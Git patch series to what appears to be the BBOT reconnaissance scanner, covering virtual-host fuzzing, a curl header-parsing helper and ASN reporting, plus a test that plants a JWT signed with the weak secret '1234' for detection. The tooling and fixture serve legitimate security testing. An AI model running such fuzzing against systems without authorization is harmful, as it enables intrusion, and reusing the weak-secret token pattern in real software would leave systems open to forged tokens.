- track protected domains and store their parent events @@ -47,7 +46,6 @@ async def setup(self): self.search_ip_neighbors = self.config.get("search_ip_neighbors", True) self.neighbor_cidr = int(self.config.get("neighbor_cidr", 24)) - if self.search_ip_neighbors and not (24 <= self.neighbor_cidr <= 31): self.warning(f"Invalid neighbor_cidr {self.neighbor_cidr}. Must be between 24 and 31.") return False @@ -244,7 +242,11 @@ async def finish(self): for neighbor_ip in neighbor_net.hosts(): neighbor_ip_str = str(neighbor_ip) # Don't add the neighbor IP if its: ip we started with, a waf ip, or already in the list - if neighbor_ip_str == ip or neighbor_ip_str in waf_ips or neighbor_ip_str in ip_bypass_candidates: + if ( + neighbor_ip_str == ip + or neighbor_ip_str in waf_ips + or neighbor_ip_str in ip_bypass_candidates + ): continue # make sure we aren't crossing an ASN boundary with our neighbor exploration From 0cc459d63f0b7c34bb81f9523f636c10afc19d66 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 15 Oct 2025 17:23:43 -0400 Subject: [PATCH 095/129] add virtualhost http_response emittal --- bbot/core/event/base.py | 2 +- bbot/core/helpers/web/web.py | 51 +++++- bbot/modules/virtualhost.py | 85 +++++++++- .../module_tests/test_module_virtualhost.py | 155 ++++++++++++++++++ 4 files changed, 283 insertions(+), 10 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 17d7869290..4cc1dec936 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -623,7 +623,7 @@ def parent(self, parent): self.web_spider_distance = getattr(parent, "web_spider_distance", 0) event_has_url = getattr(self, "parsed_url", None) is not None for t in parent.tags: - if t in ("affiliate",): + if t in ("affiliate", "virtual-host"): self.add_tag(t) elif t.startswith("mutation-"): self.add_tag(t) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index c50fbb9ce0..7324ceb872 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -478,24 +478,61 @@ async def curl(self, *args, **kwargs): curl_command.append("--resolve") curl_command.append(f"{host}:{port}:{ip}") - # Always add JSON --write-out format with separator - curl_command.extend(["-w", "\\n---CURL_METADATA---\\n%{json}"]) + # Always add JSON --write-out format with separator and capture headers + curl_command.extend(["-D", "-", "-w", "\\n---CURL_METADATA---\\n%{json}"]) log.debug(f"Running curl command: {curl_command}") output = (await self.parent_helper.run(curl_command)).stdout - # Parse the output to separate content and metadata - + # Parse the output to separate headers, content, and metadata parts = output.split("\n---CURL_METADATA---\n") # Raise CurlError if separator not found - this indicates a problem with our curl implementation if len(parts) < 2: raise CurlError(f"Curl output missing expected separator. Got: {output[:200]}...") - response_data = parts[0] - # Take the last part as JSON metadata (in case separator appears in content) + # Headers and content are in the first part, JSON metadata is in the last part + header_content = parts[0] json_data = parts[-1].strip() + # Split headers from content + header_lines = [] + content_lines = [] + in_headers = True + + for line in header_content.split("\n"): + if in_headers: + if line.strip() == "": + in_headers = False + else: + header_lines.append(line) + else: + content_lines.append(line) + + # Parse headers into dictionary + headers_dict = {} + raw_headers = "\n".join(header_lines) + + for line in header_lines: + if ":" in line: + key, value = line.split(":", 1) + key = key.strip().lower() + value = value.strip() + + # Convert hyphens to underscores to match httpx (projectdiscovery) format + # This ensures consistency with how other modules expect headers + normalized_key = key.replace("-", "_") + + if normalized_key in headers_dict: + if isinstance(headers_dict[normalized_key], list): + headers_dict[normalized_key].append(value) + else: + headers_dict[normalized_key] = [headers_dict[normalized_key], value] + else: + headers_dict[normalized_key] = value + + response_data = "\n".join(content_lines) + # Raise CurlError if JSON parsing fails - this indicates a problem with curl's %{json} output try: metadata = json.loads(json_data) @@ -512,7 +549,7 @@ async def curl(self, *args, **kwargs): raise CurlError(f"Failed to parse curl JSON metadata: {e}. JSON data: {json_data[:200]}...") # Combine into final JSON structure - return {"response_data": response_data, **metadata} + return {"response_data": response_data, "headers": headers_dict, "raw_headers": raw_headers, **metadata} def beautifulsoup( self, diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index dffd8df6ca..f07702b1f1 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -9,7 +9,7 @@ class virtualhost(BaseModule): watched_events = ["URL"] - produced_events = ["VIRTUAL_HOST", "DNS_NAME"] + produced_events = ["VIRTUAL_HOST", "DNS_NAME", "HTTP_RESPONSE"] flags = ["active", "aggressive", "slow", "deadly"] meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} @@ -273,9 +273,48 @@ async def _report_interesting_default_content(self, event, canary_hostname, host virtualhost_dict, "VIRTUAL_HOST", parent=event, + tags=["virtual-host"], context=f"{{module}} discovered virtual host via {discovery_method} for {event.data} and found {{event.type}}: {canary_host}", ) + # Emit HTTP_RESPONSE event with the canary response data + # Format to match what badsecrets expects + headers = canary_response.get("headers", {}) + + # Get the scheme from the actual probe URL + probe_url = canary_response.get("url", "") + from urllib.parse import urlparse + + parsed_probe_url = urlparse(probe_url) + actual_scheme = parsed_probe_url.scheme if parsed_probe_url.scheme else "http" + + http_response_data = { + "input": canary_host, + "url": f"{actual_scheme}://{canary_host}/", # Use the actual virtual host URL with correct scheme + "method": "GET", + "status_code": canary_response.get("http_code", 0), + "content_length": len(canary_response.get("response_data", "")), + "body": canary_response.get("response_data", ""), # badsecrets expects 'body' + "response_data": canary_response.get("response_data", ""), # keep for compatibility + "header": headers, + "raw_header": canary_response.get("raw_headers", ""), + } + + # Include location header for redirect handling + if "location" in headers: + http_response_data["location"] = headers["location"] + + http_response_event = await self.emit_event( + http_response_data, + "HTTP_RESPONSE", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {discovery_method} for {event.data} and found {{event.type}}: {canary_host}", + ) + # Set scope distance to match parent's scope distance for HTTP_RESPONSE events + if http_response_event: + http_response_event.scope_distance = event.scope_distance + def _get_canary_random_host(self, host, basehost, mode="subdomain"): """Generate a random host for the canary""" # Seed RNG with domain to get consistent canary hosts for same domain @@ -488,9 +527,50 @@ async def _run_virtualhost_phase( virtual_host_data["virtualhost_dict"], "VIRTUAL_HOST", parent=event, + tags=["virtual-host"], context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {virtual_host_data['probe_host']} (similarity: {virtual_host_data['similarity']:.2%})", ) + # Emit HTTP_RESPONSE event with the probe response data + # Format to match what badsecrets expects + headers = virtual_host_data["probe_response"].get("headers", {}) + + # Get the scheme from the actual probe URL + probe_url = virtual_host_data["probe_response"].get("url", "") + from urllib.parse import urlparse + + parsed_probe_url = urlparse(probe_url) + actual_scheme = parsed_probe_url.scheme if parsed_probe_url.scheme else "http" + + http_response_data = { + "input": virtual_host_data["probe_host"], + "url": f"{actual_scheme}://{virtual_host_data['probe_host']}/", # Use the actual virtual host URL with correct scheme + "method": "GET", + "status_code": virtual_host_data["probe_response"].get("http_code", 0), + "content_length": len(virtual_host_data["probe_response"].get("response_data", "")), + "body": virtual_host_data["probe_response"].get("response_data", ""), # badsecrets expects 'body' + "response_data": virtual_host_data["probe_response"].get( + "response_data", "" + ), # keep for compatibility + "header": headers, + "raw_header": virtual_host_data["probe_response"].get("raw_headers", ""), + } + + # Include location header for redirect handling + if "location" in headers: + http_response_data["location"] = headers["location"] + + http_response_event = await self.emit_event( + http_response_data, + "HTTP_RESPONSE", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {virtual_host_data['probe_host']}", + ) + # Set scope distance to match parent's scope distance for HTTP_RESPONSE events + if http_response_event: + http_response_event.scope_distance = event.scope_distance + # Emit DNS_NAME_UNVERIFIED event if needed if virtual_host_data["skip_dns_host"] is False: await self.emit_event( @@ -711,6 +791,7 @@ async def _test_virtualhost( "discovery_method": f"{discovery_method} ({technique})", "status_code": probe_response.get("http_code", "N/A"), "content_length": len(probe_response.get("response_data", "")), + "probe_response": probe_response, } async def analyze_response(self, probe_host, probe_response, canary_response, event): @@ -747,7 +828,7 @@ async def analyze_response(self, probe_host, probe_response, canary_response, ev # Check for redirects back to original domain - indicates virtual host just redirects to canonical if probe_status in [301, 302]: redirect_url = probe_response.get("redirect_url", "") - if str(event.parsed_url.netloc) in redirect_url: + if redirect_url and str(event.parsed_url.netloc) in redirect_url: self.debug(f"SKIPPING {probe_host} - redirects back to original domain {event.parsed_url.netloc}") return None diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py index 6281d086ad..55ac0f4b2a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -735,3 +735,158 @@ def check(self, module_test, events): assert found_admin, "Expected VIRTUAL_HOST for admin.acme.test was not emitted" assert not found_www, "No VIRTUAL_HOST should be emitted for 'www' keyword wildcard entries" + + +class TestVirtualhostHTTPResponse(VirtualhostTestBase): + """Test virtual host discovery with badsecrets analysis of HTTP_RESPONSE events""" + + targets = ["http://secrets.test:8888"] + modules_overrides = ["virtualhost", "badsecrets"] + test_wordlist = ["admin"] + config_overrides = { + "modules": { + "virtualhost": { + "brute_wordlist": tempwordlist(test_wordlist), + "subdomain_brute": True, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + # Call parent setup_after_prep to set up the HTTP server with request_handler + await super().setup_after_prep(module_test) + + # Set up DNS mocking for secrets.test to resolve to 127.0.0.1 + await module_test.mock_dns({"secrets.test": {"A": ["127.0.0.1"]}}) + + # Create a dummy module that will emit the URL event during the scan + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_secrets" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + # Create and emit URL event for virtualhost module to process + url_event = self.scan.make_event( + "http://secrets.test:8888/", "URL", parent=event, tags=["status-200", "ip-127.0.0.1"] + ) + await self.emit_event(url_event) + + # Add the dummy module to the scan + dummy_module = DummyModule(module_test.scan) + module_test.scan.modules["dummy_module_secrets"] = dummy_module + + # Patch virtualhost to inject resolved_hosts for URL events during the test + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + from werkzeug.wrappers import Response + + host_header = request.headers.get("Host", "").lower() + + # Baseline request to secrets.test (with or without port) + if not host_header or host_header in ["secrets.test", "secrets.test:8888"]: + return Response("baseline response from secrets.test", status=200) + + # Wildcard canary check - change one character in secrets.test + if re.match(r"[a-z]ecrets\.test", host_header): + return Response("wildcard canary different response", status=404) + + # Brute-force canary requests - random string + .secrets.test (with optional port) + if re.match(r"^[a-z]{12}\.secrets\.test(?::8888)?$", host_header): + return Response("subdomain canary response", status=404) + + # Virtual host with vulnerable JWT cookie and JWT in body - both using weak secret '1234' - this should trigger badsecrets twice + if host_header in ["admin.secrets.test", "admin.secrets.test:8888"]: + return Response( + "

Admin Panel

", + status=200, + headers={ + "set-cookie": "vulnjwt=eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo; secure" + }, + ) + + # Default response + return Response("default response", status=404) + + def check(self, module_test, events): + virtual_host_found = False + http_response_found = False + jwt_cookie_vuln_found = False + jwt_body_vuln_found = False + + # Debug: print all events to see what we're getting + print(f"\n=== DEBUG: Found {len(events)} events ===") + for e in events: + print(f"Event: {e.type} - {e.data}") + if hasattr(e, "tags"): + print(f" Tags: {e.tags}") + + for e in events: + # Check for virtual host discovery + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["admin.secrets.test"]: + virtual_host_found = True + # Verify it has the virtual-host tag + assert "virtual-host" in e.tags, f"VIRTUAL_HOST event missing virtual-host tag: {e.tags}" + + # Check for HTTP_RESPONSE with virtual-host tag + elif e.type == "HTTP_RESPONSE": + if "virtual-host" in e.tags: + http_response_found = True + # Verify the HTTP_RESPONSE has the expected format + assert "input" in e.data, f"HTTP_RESPONSE missing input field: {e.data}" + assert e.data["input"] == "admin.secrets.test", f"HTTP_RESPONSE input mismatch: {e.data['input']}" + assert "status_code" in e.data, f"HTTP_RESPONSE missing status_code: {e.data}" + assert e.data["status_code"] == 200, f"HTTP_RESPONSE status_code mismatch: {e.data['status_code']}" + # Debug: print the response data to see what badsecrets is analyzing + print(f"HTTP_RESPONSE data: {e.data}") + + # Check for badsecrets vulnerability findings + elif e.type == "VULNERABILITY": + print(f"Found VULNERABILITY event: {e.data}") + description = e.data["description"] + + # Check for JWT vulnerability (from cookie) + if ( + "1234" in description + and "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo" + in description + and "JWT" in description + ): + jwt_cookie_vuln_found = True + + # Check for JWT vulnerability (from body) + if ( + "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg" + in description + and "JWT" in description + ): + jwt_body_vuln_found = True + + assert virtual_host_found, "Failed to detect virtual host admin.secrets.test" + assert http_response_found, "Failed to detect HTTP_RESPONSE event with virtual-host tag" + assert jwt_cookie_vuln_found, ( + "Failed to detect JWT vulnerability - JWT with weak secret '1234' should have been found" + ) + assert jwt_body_vuln_found, ( + "Failed to detect JWT vulnerability in body - JWT 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg' should have been found" + ) + print( + f"Test results: virtual_host_found={virtual_host_found}, http_response_found={http_response_found}, jwt_cookie_vuln_found={jwt_cookie_vuln_found}, jwt_body_vuln_found={jwt_body_vuln_found}" + ) From ca6451533f74d1b8c78c135c8a41e87db4255328 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 16 Oct 2025 11:22:11 -0400 Subject: [PATCH 096/129] fix header extraction curl helper --- bbot/core/helpers/web/web.py | 5 ----- bbot/modules/host_header.py | 3 +-- bbot/modules/virtualhost.py | 2 +- bbot/test/test_step_1/test_web.py | 4 ++-- 4 files changed, 4 insertions(+), 10 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 7324ceb872..d0ec79f4c0 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -322,7 +322,6 @@ async def curl(self, *args, **kwargs): method (str, optional): The HTTP method to use for the request (e.g., 'GET', 'POST'). cookies (dict, optional): A dictionary of cookies to include in the request. path_override (str, optional): Overrides the request-target to use in the HTTP request line. - head_mode (bool, optional): If True, includes '-I' to fetch headers only. Defaults to None. raw_body (str, optional): Raw string to be sent in the body of the request. resolve (dict, optional): Host resolution override as dict with 'host', 'port', 'ip' keys for curl --resolve. **kwargs: Arbitrary keyword arguments that will be forwarded to the HTTP request function. @@ -432,10 +431,6 @@ async def curl(self, *args, **kwargs): curl_command.append("--request-target") curl_command.append(f"{path_override}") - head_mode = kwargs.get("head_mode", None) - if head_mode: - curl_command.append("-I") - raw_body = kwargs.get("raw_body", None) if raw_body: curl_command.append("-d") diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index a90b5d7f47..2dd77b2a09 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -131,10 +131,9 @@ async def handle_event(self, event): # The fact that it's accepting two host headers is rare enough to note on its own, and not too noisy. Having the 3rd header be an interactsh would result in false negatives for the slightly less interesting cases. headers={"Host": ["", str(event.host), str(event.host)]}, cookies=added_cookies, - head_mode=True, ) - split_output = output["response_data"].split("\n") + split_output = output["raw_headers"].split("\n") if " 4" in split_output: description = "Duplicate Host Header Tolerated" await self.emit_event( diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index f07702b1f1..deac5fdb67 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -290,7 +290,7 @@ async def _report_interesting_default_content(self, event, canary_hostname, host http_response_data = { "input": canary_host, - "url": f"{actual_scheme}://{canary_host}/", # Use the actual virtual host URL with correct scheme + "url": f"{actual_scheme}://{canary_host}/", "method": "GET", "status_code": canary_response.get("http_code", 0), "content_length": len(canary_response.get("response_data", "")), diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 5c83f9e16d..8d154d6047 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -362,8 +362,8 @@ async def test_web_curl(bbot_scanner, bbot_httpserver): result2 = await helpers.curl(url=url, ignore_bbot_global_settings=True) assert result2["response_data"] == "curl_yep" - result3 = await helpers.curl(url=url, head_mode=True) - assert result3["response_data"].startswith("HTTP/") + result3 = await helpers.curl(url=url) + assert result3["response_data"] == "curl_yep" result4 = await helpers.curl(url=url, raw_body="body") assert result4["response_data"] == "curl_yep" From 02129b027ef600ac15c811034e59dbfd4a366d49 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 16 Oct 2025 14:16:07 -0400 Subject: [PATCH 097/129] remove unnecessary cache --- bbot/core/helpers/asn.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 39374d6bab..299def76d4 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -17,7 +17,6 @@ def __init__(self, parent_helper): self._tree4: IPRadixTree = IPRadixTree() self._tree6: IPRadixTree = IPRadixTree() # LRU caches with reasonable limits to prevent unbounded memory growth - self._subnet_to_asn_cache: LRUCache = LRUCache(maxsize=10000) # Cache subnet -> ASN mappings # ASN cache (ASN ID -> data mapping) self._asn_to_data_cache: LRUCache = LRUCache(maxsize=5000) # Cache ASN records @@ -183,7 +182,6 @@ def _cache_store_ip(self, asn_record): continue tree = self._tree4 if net.version == 4 else self._tree6 tree.insert(str(net), data=asn_record) - self._subnet_to_asn_cache[str(net)] = asn_record log.debug(f"IP cache ADD {net} -> {asn_record.get('asn', '?')}") def _cache_lookup_ip(self, ip: str): From 5147d6899e4c165bd60011cb6259ed738f15b2a4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 16 Oct 2025 14:27:21 -0400 Subject: [PATCH 098/129] forklifting asn human output code --- bbot/core/event/base.py | 30 ++++++++++++++++++++++++++++++ bbot/modules/output/stdout.py | 17 +---------------- 2 files changed, 31 insertions(+), 16 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 4cc1dec936..973dd07cba 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1140,6 +1140,36 @@ def sanitize_data(self, data): raise ValidationError(f"ASN number must be an integer: {data}") return data + def _data_human(self): + """Create a concise human-readable representation of ASN data.""" + # Start with basic ASN info + display_data = {"asn": str(self.data)} + + # Try to get additional ASN data from the helper if available + if hasattr(self, "scan") and self.scan and hasattr(self.scan, "helpers"): + try: + # Check if we can access the ASN helper synchronously + asn_helper = self.scan.helpers.asn + # Try to get cached data first (this should be synchronous) + cached_data = asn_helper._cache_lookup_asn(self.data) + if cached_data: + display_data.update( + { + "name": cached_data.get("name", ""), + "description": cached_data.get("description", ""), + "country": cached_data.get("country", ""), + } + ) + # Replace subnets list with count for readability + subnets = cached_data.get("subnets", []) + if subnets and isinstance(subnets, list): + display_data["subnet_count"] = len(subnets) + except Exception: + # If anything fails, just return basic ASN info + pass + + return json.dumps(display_data, sort_keys=True) + class CODE_REPOSITORY(DictHostEvent): _always_emit = True diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index 277ed86760..c41f17fbef 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -53,22 +53,7 @@ async def handle_text(self, event, event_json): if self.show_event_fields: event_str = "\t".join([str(s) for s in event_json.values()]) else: - # For ASN events, create a concise version for text output only - if event.type == "ASN" and isinstance(event.data, dict): - display_data = event.data.copy() - display_data.pop("prefixes", None) - subnets = display_data.get("subnets", []) - if subnets and isinstance(subnets, list): - display_data["subnet_count"] = len(subnets) - display_data.pop("subnets", None) - - event_type = f"[{event.type}]" - event_tags = "" - if getattr(event, "tags", []): - event_tags = f"\t({', '.join(sorted(getattr(event, 'tags', [])))})" - event_str = f"{event_type:<20}\t{json.dumps(display_data)}\t{event.module_sequence}{event_tags}" - else: - event_str = self.human_event_str(event) + event_str = self.human_event_str(event) # log vulnerabilities in vivid colors if event.type == "VULNERABILITY": From 28639347127917a33d0913a725d02a0a27880745 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 16 Oct 2025 14:33:33 -0400 Subject: [PATCH 099/129] clean up duplicate --- bbot/modules/report/asn.py | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 19e8ec4d2b..44a6f5e0cd 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -1,5 +1,6 @@ import ipaddress from bbot.modules.report.base import BaseReportModule +from bbot.core.helpers.asn import ASNHelper class asn(BaseReportModule): @@ -17,13 +18,7 @@ class asn(BaseReportModule): accept_dupes = True async def setup(self): - self.unknown_asn = { - "asn": "0", - "subnets": [], - "asn_name": "unknown", - "org": "unknown", - "country": "unknown", - } + self.unknown_asn = ASNHelper.UNKNOWN_ASN # Track ASN data locally instead of relying on cache self.asn_data = {} # ASN number -> ASN record mapping self.processed_subnets = {} # subnet -> ASN number mapping for quick lookups @@ -60,7 +55,7 @@ async def handle_event(self, event): if asn_data: asn_record = asn_data asn_number = asn_record.get("asn") - asn_desc = asn_record.get("description", "") + asn_description = asn_record.get("description", "") asn_name = asn_record.get("name", "") asn_country = asn_record.get("country", "") subnets = asn_record.get("subnets", []) @@ -69,7 +64,7 @@ async def handle_event(self, event): if asn_number and asn_number != "UNKNOWN" and asn_number not in self.asn_data: self.asn_data[asn_number] = { "name": asn_name, - "description": asn_desc, + "description": asn_description, "country": asn_country, "subnets": set(subnets), } @@ -84,7 +79,7 @@ async def handle_event(self, event): if asn_event: await self.emit_event( asn_event, - context=f"{{module}} looked up {event.data} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_desc}, {asn_country})", + context=f"{{module}} looked up {event.data} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_description}, {asn_country})", ) for email in emails: From 5cd05d0e4442cf0926e68d972ea58d23a6d9f442 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 16 Oct 2025 14:43:51 -0400 Subject: [PATCH 100/129] more efficient asn report (using helper) --- bbot/modules/report/asn.py | 66 +++++++++++++++----------------------- 1 file changed, 26 insertions(+), 40 deletions(-) diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 44a6f5e0cd..a32fc890b1 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -19,9 +19,8 @@ class asn(BaseReportModule): async def setup(self): self.unknown_asn = ASNHelper.UNKNOWN_ASN - # Track ASN data locally instead of relying on cache - self.asn_data = {} # ASN number -> ASN record mapping - self.processed_subnets = {} # subnet -> ASN number mapping for quick lookups + # Track ASN counts locally for reporting + self.asn_counts = {} # ASN number -> count mapping return True async def filter_event(self, event): @@ -35,22 +34,6 @@ async def handle_event(self, event): host = event.host host_str = str(host) - # Check if this IP is already covered by a subnet we've processed - try: - ip_obj = ipaddress.ip_address(host_str) - for subnet_str, asn_number in self.processed_subnets.items(): - try: - subnet = ipaddress.ip_network(subnet_str, strict=False) - if ip_obj in subnet: - self.debug( - f"IP {host_str} already covered by processed subnet {subnet_str} (ASN {asn_number})" - ) - return - except ValueError: - continue - except ValueError: - pass # Invalid IP address, continue with normal processing - asn_data = await self.helpers.asn.ip_to_subnets(host_str) if asn_data: asn_record = asn_data @@ -60,17 +43,11 @@ async def handle_event(self, event): asn_country = asn_record.get("country", "") subnets = asn_record.get("subnets", []) - # Store ASN data locally for reporting - if asn_number and asn_number != "UNKNOWN" and asn_number not in self.asn_data: - self.asn_data[asn_number] = { - "name": asn_name, - "description": asn_description, - "country": asn_country, - "subnets": set(subnets), - } - # Track processed subnets for quick lookups - for subnet in subnets: - self.processed_subnets[subnet] = asn_number + # Track ASN subnet counts for reporting (only once per ASN) + if asn_number and asn_number != "UNKNOWN" and asn_number != "0": + if asn_number not in self.asn_counts: + subnet_count = len(subnets) + self.asn_counts[asn_number] = subnet_count emails = asn_record.get("emails", []) # Don't emit ASN 0 - it's reserved and indicates unknown ASN data @@ -91,25 +68,34 @@ async def handle_event(self, event): ) async def report(self): - """Generate an ASN summary table based on locally tracked ASN data.""" + """Generate an ASN summary table based on locally tracked ASN counts.""" - if not self.asn_data: + if not self.asn_counts: return - # Build table rows sorted by subnet count desc - sorted_asns = sorted(self.asn_data.items(), key=lambda x: len(x[1]["subnets"]), reverse=True) + # Build table rows sorted by ASN number (low to high) + sorted_asns = sorted(self.asn_counts.items(), key=lambda x: int(x[0])) header = ["ASN", "Subnet Count", "Name", "Description", "Country"] table = [] - for asn, data in sorted_asns: - number = "AS" + asn if asn != "0" else asn + for asn_number, subnet_count in sorted_asns: + # Get ASN details from helper + asn_data = await self.helpers.asn.asn_to_subnets(asn_number) + if asn_data: + asn_name = asn_data.get("name", "") + asn_description = asn_data.get("description", "") + asn_country = asn_data.get("country", "") + else: + asn_name = asn_description = asn_country = "unknown" + + number = "AS" + asn_number if asn_number != "0" else asn_number table.append( [ number, - f"{len(data['subnets']):,}", - data["name"], - data["description"], - data["country"], + f"{subnet_count:,}", + asn_name, + asn_description, + asn_country, ] ) From 1de5db2cc51ff9e1a924f8bcfea2331c9a2ddf16 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 11:16:01 -0400 Subject: [PATCH 101/129] some cleanup --- bbot/modules/report/asn.py | 1 - bbot/modules/virtualhost.py | 17 +++++++++++++++++ 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index a32fc890b1..f24e6e5f00 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -1,4 +1,3 @@ -import ipaddress from bbot.modules.report.base import BaseReportModule from bbot.core.helpers.asn import ASNHelper diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index deac5fdb67..c1b67d538b 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -13,6 +13,21 @@ class virtualhost(BaseModule): flags = ["active", "aggressive", "slow", "deadly"] meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} + def _format_headers(self, headers): + """ + Convert list headers back to strings for HTTP_RESPONSE compatibility. + The curl helper converts multiple headers with same name to lists, + but HTTP_RESPONSE events expect them as comma-separated strings. + """ + formatted_headers = {} + for key, value in headers.items(): + if isinstance(value, list): + # Convert list back to comma-separated string + formatted_headers[key] = ", ".join(str(v) for v in value) + else: + formatted_headers[key] = value + return formatted_headers + deps_common = ["curl"] SIMILARITY_THRESHOLD = 0.8 @@ -280,6 +295,7 @@ async def _report_interesting_default_content(self, event, canary_hostname, host # Emit HTTP_RESPONSE event with the canary response data # Format to match what badsecrets expects headers = canary_response.get("headers", {}) + headers = self._format_headers(headers) # Get the scheme from the actual probe URL probe_url = canary_response.get("url", "") @@ -534,6 +550,7 @@ async def _run_virtualhost_phase( # Emit HTTP_RESPONSE event with the probe response data # Format to match what badsecrets expects headers = virtual_host_data["probe_response"].get("headers", {}) + headers = self._format_headers(headers) # Get the scheme from the actual probe URL probe_url = virtual_host_data["probe_response"].get("url", "") From 2191c72cfc51659eceb8d6b9ae1837f7e9eeadd4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 14:13:26 -0400 Subject: [PATCH 102/129] temporarility removing new modules --- bbot/modules/virtualhost.py | 1068 ----------------- bbot/modules/waf_bypass.py | 304 ----- .../module_tests/test_module_virtualhost.py | 892 -------------- .../module_tests/test_module_waf_bypass.py | 133 -- 4 files changed, 2397 deletions(-) delete mode 100644 bbot/modules/virtualhost.py delete mode 100644 bbot/modules/waf_bypass.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_virtualhost.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_waf_bypass.py diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py deleted file mode 100644 index c1b67d538b..0000000000 --- a/bbot/modules/virtualhost.py +++ /dev/null @@ -1,1068 +0,0 @@ -from urllib.parse import urlparse -import random -import string - -from bbot.modules.base import BaseModule -from bbot.errors import CurlError -from bbot.core.helpers.simhash import compute_simhash - - -class virtualhost(BaseModule): - watched_events = ["URL"] - produced_events = ["VIRTUAL_HOST", "DNS_NAME", 